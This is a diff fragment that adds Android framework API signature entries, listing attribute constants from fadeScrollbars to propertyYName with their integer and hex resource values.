+    field public static final int fadeScrollbars = 16843434; // 0x10102aa
+    field public static final int fadingEdge = 16842975; // 0x10100df
+    field public static final int fadingEdgeLength = 16842976; // 0x10100e0
+    field public static final int fadingMode = 16843745; // 0x10103e1
+    field public static final int fallbackLineSpacing = 16844155; // 0x101057b
+    field public static final int fastScrollAlwaysVisible = 16843573; // 0x1010335
+    field public static final int fastScrollEnabled = 16843302; // 0x1010226
+    field public static final int fastScrollOverlayPosition = 16843578; // 0x101033a
+    field public static final int fastScrollPreviewBackgroundLeft = 16843575; // 0x1010337
+    field public static final int fastScrollPreviewBackgroundRight = 16843576; // 0x1010338
+    field public static final int fastScrollStyle = 16843767; // 0x10103f7
+    field public static final int fastScrollTextColor = 16843609; // 0x1010359
+    field public static final int fastScrollThumbDrawable = 16843574; // 0x1010336
+    field public static final int fastScrollTrackDrawable = 16843577; // 0x1010339
+    field public static final int fillAfter = 16843197; // 0x10101bd
+    field public static final int fillAlpha = 16843980; // 0x10104cc
+    field public static final int fillBefore = 16843196; // 0x10101bc
+    field public static final int fillColor = 16843780; // 0x1010404
+    field public static final int fillEnabled = 16843343; // 0x101024f
+    field public static final int fillType = 16844062; // 0x101051e
+    field public static final int fillViewport = 16843130; // 0x101017a
+    field public static final int filter = 16843035; // 0x101011b
+    field public static final int filterTouchesWhenObscured = 16843460; // 0x10102c4
+    field public static final int fingerprintAuthDrawable = 16844008; // 0x10104e8
+    field public static final int finishOnCloseSystemDialogs = 16843431; // 0x10102a7
+    field public static final int finishOnTaskLaunch = 16842772; // 0x1010014
+    field public static final int firstBaselineToTopHeight = 16844157; // 0x101057d
+    field public static final int firstDayOfWeek = 16843581; // 0x101033d
+    field public static final int fitsSystemWindows = 16842973; // 0x10100dd
+    field public static final int flipInterval = 16843129; // 0x1010179
+    field public static final int focusable = 16842970; // 0x10100da
+    field public static final int focusableInTouchMode = 16842971; // 0x10100db
+    field public static final int focusedByDefault = 16844100; // 0x1010544
+    field @Deprecated public static final int focusedMonthDateColor = 16843587; // 0x1010343
+    field public static final int font = 16844082; // 0x1010532
+    field public static final int fontFamily = 16843692; // 0x10103ac
+    field public static final int fontFeatureSettings = 16843959; // 0x10104b7
+    field @Deprecated public static final int fontProviderAuthority = 16844112; // 0x1010550
+    field @Deprecated public static final int fontProviderCerts = 16844125; // 0x101055d
+    field @Deprecated public static final int fontProviderPackage = 16844119; // 0x1010557
+    field @Deprecated public static final int fontProviderQuery = 16844113; // 0x1010551
+    field public static final int fontProviderSystemFontFamily = 16844322; // 0x1010622
+    field public static final int fontStyle = 16844095; // 0x101053f
+    field public static final int fontVariationSettings = 16844144; // 0x1010570
+    field public static final int fontWeight = 16844083; // 0x1010533
+    field public static final int footerDividersEnabled = 16843311; // 0x101022f
+    field public static final int forceDarkAllowed = 16844172; // 0x101058c
+    field public static final int forceHasOverlappingRendering = 16844065; // 0x1010521
+    field public static final int forceQueryable = 16844296; // 0x1010608
+    field public static final int forceUriPermissions = 16844191; // 0x101059f
+    field public static final int foreground = 16843017; // 0x1010109
+    field public static final int foregroundGravity = 16843264; // 0x1010200
+    field public static final int foregroundServiceType = 16844185; // 0x1010599
+    field public static final int foregroundTint = 16843885; // 0x101046d
+    field public static final int foregroundTintMode = 16843886; // 0x101046e
+    field public static final int format = 16843013; // 0x1010105
+    field public static final int format12Hour = 16843722; // 0x10103ca
+    field public static final int format24Hour = 16843723; // 0x10103cb
+    field public static final int fraction = 16843992; // 0x10104d8
+    field public static final int fragment = 16843491; // 0x10102e3
+    field public static final int fragmentAllowEnterTransitionOverlap = 16843976; // 0x10104c8
+    field public static final int fragmentAllowReturnTransitionOverlap = 16843977; // 0x10104c9
+    field public static final int fragmentCloseEnterAnimation = 16843495; // 0x10102e7
+    field public static final int fragmentCloseExitAnimation = 16843496; // 0x10102e8
+    field public static final int fragmentEnterTransition = 16843971; // 0x10104c3
+    field public static final int fragmentExitTransition = 16843970; // 0x10104c2
+    field public static final int fragmentFadeEnterAnimation = 16843497; // 0x10102e9
+    field public static final int fragmentFadeExitAnimation = 16843498; // 0x10102ea
+    field public static final int fragmentOpenEnterAnimation = 16843493; // 0x10102e5
+    field public static final int fragmentOpenExitAnimation = 16843494; // 0x10102e6
+    field public static final int fragmentReenterTransition = 16843975; // 0x10104c7
+    field public static final int fragmentReturnTransition = 16843973; // 0x10104c5
+    field public static final int fragmentSharedElementEnterTransition = 16843972; // 0x10104c4
+    field public static final int fragmentSharedElementReturnTransition = 16843974; // 0x10104c6
+    field public static final int freezesText = 16843116; // 0x101016c
+    field public static final int fromAlpha = 16843210; // 0x10101ca
+    field public static final int fromDegrees = 16843187; // 0x10101b3
+    field public static final int fromId = 16843850; // 0x101044a
+    field public static final int fromScene = 16843741; // 0x10103dd
+    field public static final int fromXDelta = 16843206; // 0x10101c6
+    field public static final int fromXScale = 16843202; // 0x10101c2
+    field public static final int fromYDelta = 16843208; // 0x10101c8
+    field public static final int fromYScale = 16843204; // 0x10101c4
+    field public static final int fullBackupContent = 16844011; // 0x10104eb
+    field public static final int fullBackupOnly = 16843891; // 0x1010473
+    field public static final int fullBright = 16842954; // 0x10100ca
+    field public static final int fullDark = 16842950; // 0x10100c6
+    field public static final int functionalTest = 16842787; // 0x1010023
+    field public static final int galleryItemBackground = 16842828; // 0x101004c
+    field public static final int galleryStyle = 16842864; // 0x1010070
+    field public static final int gestureColor = 16843381; // 0x1010275
+    field public static final int gestureStrokeAngleThreshold = 16843388; // 0x101027c
+    field public static final int gestureStrokeLengthThreshold = 16843386; // 0x101027a
+    field public static final int gestureStrokeSquarenessThreshold = 16843387; // 0x101027b
+    field public static final int gestureStrokeType = 16843385; // 0x1010279
+    field public static final int gestureStrokeWidth = 16843380; // 0x1010274
+    field public static final int glEsVersion = 16843393; // 0x1010281
+    field public static final int goIcon = 16843906; // 0x1010482
+    field public static final int gradientRadius = 16843172; // 0x10101a4
+    field public static final int grantUriPermissions = 16842779; // 0x101001b
+    field public static final int gravity = 16842927; // 0x10100af
+    field public static final int gridViewStyle = 16842865; // 0x1010071
+    field public static final int groupIndicator = 16843019; // 0x101010b
+    field public static final int gwpAsanMode = 16844310; // 0x1010616
+    field public static final int hand_hour = 16843011; // 0x1010103
+    field public static final int hand_hourTint = 16844344; // 0x1010638
+    field public static final int hand_hourTintMode = 16844345; // 0x1010639
+    field public static final int hand_minute = 16843012; // 0x1010104
+    field public static final int hand_minuteTint = 16844346; // 0x101063a
+    field public static final int hand_minuteTintMode = 16844347; // 0x101063b
+    field public static final int hand_second = 16844323; // 0x1010623
+    field public static final int hand_secondTint = 16844348; // 0x101063c
+    field public static final int hand_secondTintMode = 16844349; // 0x101063d
+    field public static final int handle = 16843354; // 0x101025a
+    field public static final int handleProfiling = 16842786; // 0x1010022
+    field public static final int hapticFeedbackEnabled = 16843358; // 0x101025e
+    field public static final int hardwareAccelerated = 16843475; // 0x10102d3
+    field public static final int hasCode = 16842764; // 0x101000c
+    field public static final int hasFragileUserData = 16844186; // 0x101059a
+    field @Deprecated public static final int headerAmPmTextAppearance = 16843936; // 0x10104a0
+    field public static final int headerBackground = 16843055; // 0x101012f
+    field @Deprecated public static final int headerDayOfMonthTextAppearance = 16843927; // 0x1010497
+    field public static final int headerDividersEnabled = 16843310; // 0x101022e
+    field @Deprecated public static final int headerMonthTextAppearance = 16843926; // 0x1010496
+    field @Deprecated public static final int headerTimeTextAppearance = 16843935; // 0x101049f
+    field @Deprecated public static final int headerYearTextAppearance = 16843928; // 0x1010498
+    field public static final int height = 16843093; // 0x1010155
+    field public static final int hideOnContentScroll = 16843843; // 0x1010443
+    field public static final int hint = 16843088; // 0x1010150
+    field public static final int homeAsUpIndicator = 16843531; // 0x101030b
+    field public static final int homeLayout = 16843549; // 0x101031d
+    field public static final int horizontalDivider = 16843053; // 0x101012d
+    field @Deprecated public static final int horizontalGap = 16843327; // 0x101023f
+    field public static final int horizontalScrollViewStyle = 16843603; // 0x1010353
+    field public static final int horizontalSpacing = 16843028; // 0x1010114
+    field public static final int host = 16842792; // 0x1010028
+    field public static final int hotSpotX = 16844055; // 0x1010517
+    field public static final int hotSpotY = 16844056; // 0x1010518
+    field public static final int htmlDescription = 16844299; // 0x101060b
+    field public static final int hyphenationFrequency = 16843998; // 0x10104de
+    field public static final int icon = 16842754; // 0x1010002
+    field @Deprecated public static final int iconPreview = 16843337; // 0x1010249
+    field public static final int iconSpaceReserved = 16844129; // 0x1010561
+    field public static final int iconTint = 16844126; // 0x101055e
+    field public static final int iconTintMode = 16844127; // 0x101055f
+    field public static final int iconifiedByDefault = 16843514; // 0x10102fa
+    field public static final int id = 16842960; // 0x10100d0
+    field public static final int identifier = 16844294; // 0x1010606
+    field public static final int ignoreGravity = 16843263; // 0x10101ff
+    field public static final int imageButtonStyle = 16842866; // 0x1010072
+    field public static final int imageWellStyle = 16842867; // 0x1010073
+    field public static final int imeActionId = 16843366; // 0x1010266
+    field public static final int imeActionLabel = 16843365; // 0x1010265
+    field public static final int imeExtractEnterAnimation = 16843368; // 0x1010268
+    field public static final int imeExtractExitAnimation = 16843369; // 0x1010269
+    field public static final int imeFullscreenBackground = 16843308; // 0x101022c
+    field public static final int imeOptions = 16843364; // 0x1010264
+    field public static final int imeSubtypeExtraValue = 16843502; // 0x10102ee
+    field public static final int imeSubtypeLocale = 16843500; // 0x10102ec
+    field public static final int imeSubtypeMode = 16843501; // 0x10102ed
+    field public static final int immersive = 16843456; // 0x10102c0
+    field public static final int importantForAccessibility = 16843690; // 0x10103aa
+    field public static final int importantForAutofill = 16844120; // 0x1010558
+    field public static final int importantForContentCapture = 16844295; // 0x1010607
+    field public static final int inAnimation = 16843127; // 0x1010177
+    field public static final int includeFontPadding = 16843103; // 0x101015f
+    field public static final int includeInGlobalSearch = 16843374; // 0x101026e
+    field public static final int indeterminate = 16843065; // 0x1010139
+    field public static final int indeterminateBehavior = 16843070; // 0x101013e
+    field public static final int indeterminateDrawable = 16843067; // 0x101013b
+    field public static final int indeterminateDuration = 16843069; // 0x101013d
+    field public static final int indeterminateOnly = 16843066; // 0x101013a
+    field public static final int indeterminateProgressStyle = 16843544; // 0x1010318
+    field public static final int indeterminateTint = 16843881; // 0x1010469
+    field public static final int indeterminateTintMode = 16843882; // 0x101046a
+    field public static final int indicatorEnd = 16843730; // 0x10103d2
+    field public static final int indicatorLeft = 16843021; // 0x101010d
+    field public static final int indicatorRight = 16843022; // 0x101010e
+    field public static final int indicatorStart = 16843729; // 0x10103d1
+    field public static final int inflatedId = 16842995; // 0x10100f3
+    field public static final int inheritShowWhenLocked = 16844188; // 0x101059c
+    field public static final int initOrder = 16842778; // 0x101001a
+    field public static final int initialKeyguardLayout = 16843714; // 0x10103c2
+    field public static final int initialLayout = 16843345; // 0x1010251
+    field public static final int innerRadius = 16843359; // 0x101025f
+    field public static final int innerRadiusRatio = 16843163; // 0x101019b
+    field @Deprecated public static final int inputMethod = 16843112; // 0x1010168
+    field public static final int inputType = 16843296; // 0x1010220
+    field public static final int inset = 16843957; // 0x10104b5
+    field public static final int insetBottom = 16843194; // 0x10101ba
+    field public static final int insetLeft = 16843191; // 0x10101b7
+    field public static final int insetRight = 16843192; // 0x10101b8
+    field public static final int insetTop = 16843193; // 0x10101b9
+    field public static final int installLocation = 16843447; // 0x10102b7
+    field public static final int interactiveUiTimeout = 16844181; // 0x1010595
+    field public static final int interpolator = 16843073; // 0x1010141
+    field public static final int isAccessibilityTool = 16844353; // 0x1010641
+    field public static final int isAlwaysSyncable = 16843571; // 0x1010333
+    field public static final int isAsciiCapable = 16843753; // 0x10103e9
+    field public static final int isAuxiliary = 16843647; // 0x101037f
+    field public static final int isDefault = 16843297; // 0x1010221
+    field public static final int isFeatureSplit = 16844123; // 0x101055b
+    field public static final int isGame = 16843764; // 0x10103f4
+    field public static final int isIndicator = 16843079; // 0x1010147
+    field public static final int isLightTheme = 16844176; // 0x1010590
+    field @Deprecated public static final int isModifier = 16843334; // 0x1010246
+    field @Deprecated public static final int isRepeatable = 16843336; // 0x1010248
+    field public static final int isScrollContainer = 16843342; // 0x101024e
+    field public static final int isSplitRequired = 16844177; // 0x1010591
+    field public static final int isStatic = 16844122; // 0x101055a
+    field @Deprecated public static final int isSticky = 16843335; // 0x1010247
+    field public static final int isolatedProcess = 16843689; // 0x10103a9
+    field public static final int isolatedSplits = 16844107; // 0x101054b
+    field public static final int itemBackground = 16843056; // 0x1010130
+    field public static final int itemIconDisabledAlpha = 16843057; // 0x1010131
+    field public static final int itemPadding = 16843565; // 0x101032d
+    field public static final int itemTextAppearance = 16843052; // 0x101012c
+    field public static final int justificationMode = 16844135; // 0x1010567
+    field public static final int keepScreenOn = 16843286; // 0x1010216
+    field public static final int key = 16843240; // 0x10101e8
+    field @Deprecated public static final int keyBackground = 16843315; // 0x1010233
+    field @Deprecated public static final int keyEdgeFlags = 16843333; // 0x1010245
+    field @Deprecated public static final int keyHeight = 16843326; // 0x101023e
+    field @Deprecated public static final int keyIcon = 16843340; // 0x101024c
+    field @Deprecated public static final int keyLabel = 16843339; // 0x101024b
+    field @Deprecated public static final int keyOutputText = 16843338; // 0x101024a
+    field @Deprecated public static final int keyPreviewHeight = 16843321; // 0x1010239
+    field @Deprecated public static final int keyPreviewLayout = 16843319; // 0x1010237
+    field @Deprecated public static final int keyPreviewOffset = 16843320; // 0x1010238
+    field public static final int keySet = 16843739; // 0x10103db
+    field @Deprecated public static final int keyTextColor = 16843318; // 0x1010236
+    field @Deprecated public static final int keyTextSize = 16843316; // 0x1010234
+    field @Deprecated public static final int keyWidth = 16843325; // 0x101023d
+    field public static final int keyboardLayout = 16843691; // 0x10103ab
+    field @Deprecated public static final int keyboardMode = 16843341; // 0x101024d
+    field public static final int keyboardNavigationCluster = 16844096; // 0x1010540
+    field public static final int keycode = 16842949; // 0x10100c5
+    field public static final int killAfterRestore = 16843420; // 0x101029c
+    field public static final int knownCerts = 16844330; // 0x101062a
+    field public static final int lStar = 16844359; // 0x1010647
+    field public static final int label = 16842753; // 0x1010001
+    field public static final int labelFor = 16843718; // 0x10103c6
+    field @Deprecated public static final int labelTextSize = 16843317; // 0x1010235
+    field public static final int languageTag = 16844040; // 0x1010508
+    field public static final int largeHeap = 16843610; // 0x101035a
+    field public static final int largeScreens = 16843398; // 0x1010286
+    field public static final int largestWidthLimitDp = 16843622; // 0x1010366
+    field public static final int lastBaselineToBottomHeight = 16844158; // 0x101057e
+    field public static final int launchMode = 16842781; // 0x101001d
+    field public static final int launchTaskBehindSourceAnimation = 16843922; // 0x1010492
+    field public static final int launchTaskBehindTargetAnimation = 16843921; // 0x1010491
+    field public static final int layerType = 16843604; // 0x1010354
+    field public static final int layout = 16842994; // 0x10100f2
+    field public static final int layoutAnimation = 16842988; // 0x10100ec
+    field public static final int layoutDirection = 16843698; // 0x10103b2
+    field public static final int layoutMode = 16843738; // 0x10103da
+    field public static final int layout_above = 16843140; // 0x1010184
+    field public static final int layout_alignBaseline = 16843142; // 0x1010186
+    field public static final int layout_alignBottom = 16843146; // 0x101018a
+    field public static final int layout_alignEnd = 16843706; // 0x10103ba
+    field public static final int layout_alignLeft = 16843143; // 0x1010187
+    field public static final int layout_alignParentBottom = 16843150; // 0x101018e
+    field public static final int layout_alignParentEnd = 16843708; // 0x10103bc
+    field public static final int layout_alignParentLeft = 16843147; // 0x101018b
+    field public static final int layout_alignParentRight = 16843149; // 0x101018d
+    field public static final int layout_alignParentStart = 16843707; // 0x10103bb
+    field public static final int layout_alignParentTop = 16843148; // 0x101018c
+    field public static final int layout_alignRight = 16843145; // 0x1010189
+    field public static final int layout_alignStart = 16843705; // 0x10103b9
+    field public static final int layout_alignTop = 16843144; // 0x1010188
+    field public static final int layout_alignWithParentIfMissing = 16843154; // 0x1010192
+    field public static final int layout_below = 16843141; // 0x1010185
+    field public static final int layout_centerHorizontal = 16843152; // 0x1010190
+    field public static final int layout_centerInParent = 16843151; // 0x101018f
+    field public static final int layout_centerVertical = 16843153; // 0x1010191
+    field public static final int layout_column = 16843084; // 0x101014c
+    field public static final int layout_columnSpan = 16843645; // 0x101037d
+    field public static final int layout_columnWeight = 16843865; // 0x1010459
+    field public static final int layout_gravity = 16842931; // 0x10100b3
+    field public static final int layout_height = 16842997; // 0x10100f5
+    field public static final int layout_margin = 16842998; // 0x10100f6
+    field public static final int layout_marginBottom = 16843002; // 0x10100fa
+    field public static final int layout_marginEnd = 16843702; // 0x10103b6
+    field public static final int layout_marginHorizontal = 16844091; // 0x101053b
+    field public static final int layout_marginLeft = 16842999; // 0x10100f7
+    field public static final int layout_marginRight = 16843001; // 0x10100f9
+    field public static final int layout_marginStart = 16843701; // 0x10103b5
+    field public static final int layout_marginTop = 16843000; // 0x10100f8
+    field public static final int layout_marginVertical = 16844092; // 0x101053c
+    field public static final int layout_row = 16843643; // 0x101037b
+    field public static final int layout_rowSpan = 16843644; // 0x101037c
+    field public static final int layout_rowWeight = 16843864; // 0x1010458
+    field public static final int layout_scale = 16843155; // 0x1010193
+    field public static final int layout_span = 16843085; // 0x101014d
+    field public static final int layout_toEndOf = 16843704; // 0x10103b8
+    field public static final int layout_toLeftOf = 16843138; // 0x1010182
+    field public static final int layout_toRightOf = 16843139; // 0x1010183
+    field public static final int layout_toStartOf = 16843703; // 0x10103b7
+    field public static final int layout_weight = 16843137; // 0x1010181
+    field public static final int layout_width = 16842996; // 0x10100f4
+    field public static final int layout_x = 16843135; // 0x101017f
+    field public static final int layout_y = 16843136; // 0x1010180
+    field public static final int left = 16843181; // 0x10101ad
+    field public static final int letterSpacing = 16843958; // 0x10104b6
+    field public static final int level = 16844032; // 0x1010500
+    field public static final int lineHeight = 16844159; // 0x101057f
+    field public static final int lineSpacingExtra = 16843287; // 0x1010217
+    field public static final int lineSpacingMultiplier = 16843288; // 0x1010218
+    field public static final int lines = 16843092; // 0x1010154
+    field public static final int linksClickable = 16842929; // 0x10100b1
+    field public static final int listChoiceBackgroundIndicator = 16843504; // 0x10102f0
+    field public static final int listChoiceIndicatorMultiple = 16843290; // 0x101021a
+    field public static final int listChoiceIndicatorSingle = 16843289; // 0x1010219
+    field public static final int listDivider = 16843284; // 0x1010214
+    field public static final int listDividerAlertDialog = 16843525; // 0x1010305
+    field public static final int listMenuViewStyle = 16844018; // 0x10104f2
+    field public static final int listPopupWindowStyle = 16843519; // 0x10102ff
+    field public static final int listPreferredItemHeight = 16842829; // 0x101004d
+    field public static final int listPreferredItemHeightLarge = 16843654; // 0x1010386
+    field public static final int listPreferredItemHeightSmall = 16843655; // 0x1010387
+    field public static final int listPreferredItemPaddingEnd = 16843710; // 0x10103be
+    field public static final int listPreferredItemPaddingLeft = 16843683; // 0x10103a3
+    field public static final int listPreferredItemPaddingRight = 16843684; // 0x10103a4
+    field public static final int listPreferredItemPaddingStart = 16843709; // 0x10103bd
+    field public static final int listSelector = 16843003; // 0x10100fb
+    field public static final int listSeparatorTextViewStyle = 16843272; // 0x1010208
+    field public static final int listViewStyle = 16842868; // 0x1010074
+    field public static final int listViewWhiteStyle = 16842869; // 0x1010075
+    field public static final int lockTaskMode = 16844013; // 0x10104ed
+    field public static final int logo = 16843454; // 0x10102be
+    field public static final int logoDescription = 16844009; // 0x10104e9
+    field public static final int longClickable = 16842982; // 0x10100e6
+    field public static final int loopViews = 16843527; // 0x1010307
+    field public static final int manageSpaceActivity = 16842756; // 0x1010004
+    field public static final int mapViewStyle = 16842890; // 0x101008a
+    field public static final int marqueeRepeatLimit = 16843293; // 0x101021d
+    field public static final int matchOrder = 16843855; // 0x101044f
+    field public static final int max = 16843062; // 0x1010136
+    field public static final int maxAspectRatio = 16844128; // 0x1010560
+    field public static final int maxButtonHeight = 16844029; // 0x10104fd
+    field public static final int maxDate = 16843584; // 0x1010340
+    field public static final int maxEms = 16843095; // 0x1010157
+    field public static final int maxHeight = 16843040; // 0x1010120
+    field public static final int maxItemsPerRow = 16843060; // 0x1010134
+    field public static final int maxLength = 16843104; // 0x1010160
+    field public static final int maxLevel = 16843186; // 0x10101b2
+    field public static final int maxLines = 16843091; // 0x1010153
+    field public static final int maxLongVersionCode = 16844163; // 0x1010583
+    field public static final int maxRecents = 16843846; // 0x1010446
+    field public static final int maxResizeHeight = 16844339; // 0x1010633
+    field public static final int maxResizeWidth = 16844338; // 0x1010632
+    field public static final int maxRows = 16843059; // 0x1010133
+    field public static final int maxSdkVersion = 16843377; // 0x1010271
+    field public static final int maxWidth = 16843039; // 0x101011f
+    field public static final int maximumAngle = 16843903; // 0x101047f
+    field public static final int measureAllChildren = 16843018; // 0x101010a
+    field public static final int measureWithLargestChild = 16843476; // 0x10102d4
+    field public static final int mediaRouteButtonStyle = 16843693; // 0x10103ad
+    field public static final int mediaRouteTypes = 16843694; // 0x10103ae
+    field public static final int memtagMode = 16844324; // 0x1010624
+    field public static final int menuCategory = 16843230; // 0x10101de
+    field public static final int mimeGroup = 16844309; // 0x1010615
+    field public static final int mimeType = 16842790; // 0x1010026
+    field public static final int min = 16844089; // 0x1010539
+    field public static final int minAspectRatio = 16844187; // 0x101059b
+    field public static final int minDate = 16843583; // 0x101033f
+    field public static final int minEms = 16843098; // 0x101015a
+    field public static final int minHeight = 16843072; // 0x1010140
+    field public static final int minLevel = 16843185; // 0x10101b1
+    field public static final int minLines = 16843094; // 0x1010156
+    field public static final int minResizeHeight = 16843670; // 0x1010396
+    field public static final int minResizeWidth = 16843669; // 0x1010395
+    field public static final int minSdkVersion = 16843276; // 0x101020c
+    field public static final int minWidth = 16843071; // 0x101013f
+    field public static final int minimumHorizontalAngle = 16843901; // 0x101047d
+    field public static final int minimumVerticalAngle = 16843902; // 0x101047e
+    field public static final int mipMap = 16843725; // 0x10103cd
+    field public static final int mirrorForRtl = 16843726; // 0x10103ce
+    field public static final int mode = 16843134; // 0x101017e
+    field public static final int moreIcon = 16843061; // 0x1010135
+    field public static final int multiArch = 16843918; // 0x101048e
+    field public static final int multiprocess = 16842771; // 0x1010013
+    field public static final int name = 16842755; // 0x1010003
+    field public static final int nativeHeapZeroInitialized = 16844325; // 0x1010625
+    field public static final int navigationBarColor = 16843858; // 0x1010452
+    field public static final int navigationBarDividerColor = 16844141; // 0x101056d
+    field public static final int navigationContentDescription = 16843969; // 0x10104c1
+    field public static final int navigationIcon = 16843968; // 0x10104c0
+    field public static final int navigationMode = 16843471; // 0x10102cf
+    field public static final int negativeButtonText = 16843254; // 0x10101f6
+    field public static final int nestedScrollingEnabled = 16843830; // 0x1010436
+    field public static final int networkSecurityConfig = 16844071; // 0x1010527
+    field public static final int nextClusterForward = 16844098; // 0x1010542
+    field public static final int nextFocusDown = 16842980; // 0x10100e4
+    field public static final int nextFocusForward = 16843580; // 0x101033c
+    field public static final int nextFocusLeft = 16842977; // 0x10100e1
+    field public static final int nextFocusRight = 16842978; // 0x10100e2
+    field public static final int nextFocusUp = 16842979; // 0x10100e3
+    field public static final int noHistory = 16843309; // 0x101022d
+    field public static final int nonInteractiveUiTimeout = 16844175; // 0x101058f
+    field public static final int normalScreens = 16843397; // 0x1010285
+    field public static final int notificationTimeout = 16843651; // 0x1010383
+    field public static final int numColumns = 16843032; // 0x1010118
+    field public static final int numStars = 16843076; // 0x1010144
+    field public static final int numberPickerStyle = 16844068; // 0x1010524
+    field public static final int numbersBackgroundColor = 16843938; // 0x10104a2
+    field public static final int numbersInnerTextColor = 16844001; // 0x10104e1
+    field public static final int numbersSelectorColor = 16843939; // 0x10104a3
+    field public static final int numbersTextColor = 16843937; // 0x10104a1
+    field @Deprecated public static final int numeric = 16843109; // 0x1010165
+    field public static final int numericModifiers = 16844111; // 0x101054f
+    field public static final int numericShortcut = 16843236; // 0x10101e4
+    field public static final int offset = 16844052; // 0x1010514
+    field @Deprecated public static final int onClick = 16843375; // 0x101026f
+    field public static final int oneshot = 16843159; // 0x1010197
+    field public static final int opacity = 16843550; // 0x101031e
+    field public static final int opticalInsetBottom = 16844171; // 0x101058b
+    field public static final int opticalInsetLeft = 16844168; // 0x1010588
+    field public static final int opticalInsetRight = 16844170; // 0x101058a
+    field public static final int opticalInsetTop = 16844169; // 0x1010589
+    field public static final int order = 16843242; // 0x10101ea
+    field public static final int orderInCategory = 16843231; // 0x10101df
+    field public static final int ordering = 16843490; // 0x10102e2
+    field public static final int orderingFromXml = 16843239; // 0x10101e7
+    field public static final int orientation = 16842948; // 0x10100c4
+    field public static final int outAnimation = 16843128; // 0x1010178
+    field public static final int outlineAmbientShadowColor = 16844162; // 0x1010582
+    field public static final int outlineProvider = 16843960; // 0x10104b8
+    field public static final int outlineSpotShadowColor = 16844161; // 0x1010581
+    field public static final int overScrollFooter = 16843459; // 0x10102c3
+    field public static final int overScrollHeader = 16843458; // 0x10102c2
+    field public static final int overScrollMode = 16843457; // 0x10102c1
+    field public static final int overlapAnchor = 16843874; // 0x1010462
+    field public static final int overridesImplicitlyEnabledSubtype = 16843682; // 0x10103a2
+    field public static final int packageNames = 16843649; // 0x1010381
+    field public static final int packageType = 16844167; // 0x1010587
+    field public static final int padding = 16842965; // 0x10100d5
+    field public static final int paddingBottom = 16842969; // 0x10100d9
+    field public static final int paddingEnd = 16843700; // 0x10103b4
+    field public static final int paddingHorizontal = 16844093; // 0x101053d
+    field public static final int paddingLeft = 16842966; // 0x10100d6
+    field public static final int paddingMode = 16843863; // 0x1010457
+    field public static final int paddingRight = 16842968; // 0x10100d8
+    field public static final int paddingStart = 16843699; // 0x10103b3
+    field public static final int paddingTop = 16842967; // 0x10100d7
+    field public static final int paddingVertical = 16844094; // 0x101053e
+    field public static final int panelBackground = 16842846; // 0x101005e
+    field public static final int panelColorBackground = 16842849; // 0x1010061
+    field public static final int panelColorForeground = 16842848; // 0x1010060
+    field public static final int panelFullBackground = 16842847; // 0x101005f
+    field public static final int panelTextAppearance = 16842850; // 0x1010062
+    field public static final int parentActivityName = 16843687; // 0x10103a7
+    field @Deprecated public static final int password = 16843100; // 0x101015c
+    field public static final int passwordsActivity = 16844351; // 0x101063f
+    field public static final int path = 16842794; // 0x101002a
+    field public static final int pathAdvancedPattern = 16844320; // 0x1010620
+    field public static final int pathData = 16843781; // 0x1010405
+    field public static final int pathPattern = 16842796; // 0x101002c
+    field public static final int pathPrefix = 16842795; // 0x101002b
+    field public static final int pathSuffix = 16844318; // 0x101061e
+    field public static final int patternPathData = 16843978; // 0x10104ca
+    field public static final int permission = 16842758; // 0x1010006
+    field public static final int permissionFlags = 16843719; // 0x10103c7
+    field public static final int permissionGroup = 16842762; // 0x101000a
+    field public static final int permissionGroupFlags = 16843717; // 0x10103c5
+    field public static final int persistableMode = 16843821; // 0x101042d
+    field public static final int persistent = 16842765; // 0x101000d
+    field public static final int persistentDrawingCache = 16842990; // 0x10100ee
+    field public static final int persistentWhenFeatureAvailable = 16844131; // 0x1010563
+    field @Deprecated public static final int phoneNumber = 16843111; // 0x1010167
+    field public static final int pivotX = 16843189; // 0x10101b5
+    field public static final int pivotY = 16843190; // 0x10101b6
+    field public static final int pointerIcon = 16844041; // 0x1010509
+    field public static final int popupAnimationStyle = 16843465; // 0x10102c9
+    field public static final int popupBackground = 16843126; // 0x1010176
+    field @Deprecated public static final int popupCharacters = 16843332; // 0x1010244
+    field public static final int popupElevation = 16843916; // 0x101048c
+    field public static final int popupEnterTransition = 16844063; // 0x101051f
+    field public static final int popupExitTransition = 16844064; // 0x1010520
+    field @Deprecated public static final int popupKeyboard = 16843331; // 0x1010243
+    field @Deprecated public static final int popupLayout = 16843323; // 0x101023b
+    field public static final int popupMenuStyle = 16843520; // 0x1010300
+    field public static final int popupTheme = 16843945; // 0x10104a9
+    field public static final int popupWindowStyle = 16842870; // 0x1010076
+    field public static final int port = 16842793; // 0x1010029
+    field public static final int positiveButtonText = 16843253; // 0x10101f5
+    field public static final int preferMinimalPostProcessing = 16844300; // 0x101060c
+    field public static final int preferenceCategoryStyle = 16842892; // 0x101008c
+    field public static final int preferenceFragmentStyle = 16844038; // 0x1010506
+    field public static final int preferenceInformationStyle = 16842893; // 0x101008d
+    field public static final int preferenceLayoutChild = 16842900; // 0x1010094
+    field public static final int preferenceScreenStyle = 16842891; // 0x101008b
+    field public static final int preferenceStyle = 16842894; // 0x101008e
+    field public static final int presentationTheme = 16843712; // 0x10103c0
+    field public static final int preserveLegacyExternalStorage = 16844308; // 0x1010614
+    field public static final int previewImage = 16843482; // 0x10102da
+    field public static final int previewLayout = 16844327; // 0x1010627
+    field public static final int primaryContentAlpha = 16844114; // 0x1010552
+    field public static final int priority = 16842780; // 0x101001c
+    field public static final int privateImeOptions = 16843299; // 0x1010223
+    field public static final int process = 16842769; // 0x1010011
+    field public static final int progress = 16843063; // 0x1010137
+    field public static final int progressBackgroundTint = 16843877; // 0x1010465
+    field public static final int progressBackgroundTintMode = 16843878; // 0x1010466
+    field public static final int progressBarPadding = 16843545; // 0x1010319
+    field public static final int progressBarStyle = 16842871; // 0x1010077
+    field public static final int progressBarStyleHorizontal = 16842872; // 0x1010078
+    field public static final int progressBarStyleInverse = 16843399; // 0x1010287
+    field public static final int progressBarStyleLarge = 16842874; // 0x101007a
+    field public static final int progressBarStyleLargeInverse = 16843401; // 0x1010289
+    field public static final int progressBarStyleSmall = 16842873; // 0x1010079
+    field public static final int progressBarStyleSmallInverse = 16843400; // 0x1010288
+    field public static final int progressBarStyleSmallTitle = 16843279; // 0x101020f
+    field public static final int progressDrawable = 16843068; // 0x101013c
+    field public static final int progressTint = 16843875; // 0x1010463
+    field public static final int progressTintMode = 16843876; // 0x1010464
+    field public static final int prompt = 16843131; // 0x101017b
+    field public static final int propertyName = 16843489; // 0x10102e1
+    field public static final int propertyXName = 16843892; // 0x1010474
+    field public static final int propertyYName = 16843893; // 0x1010475
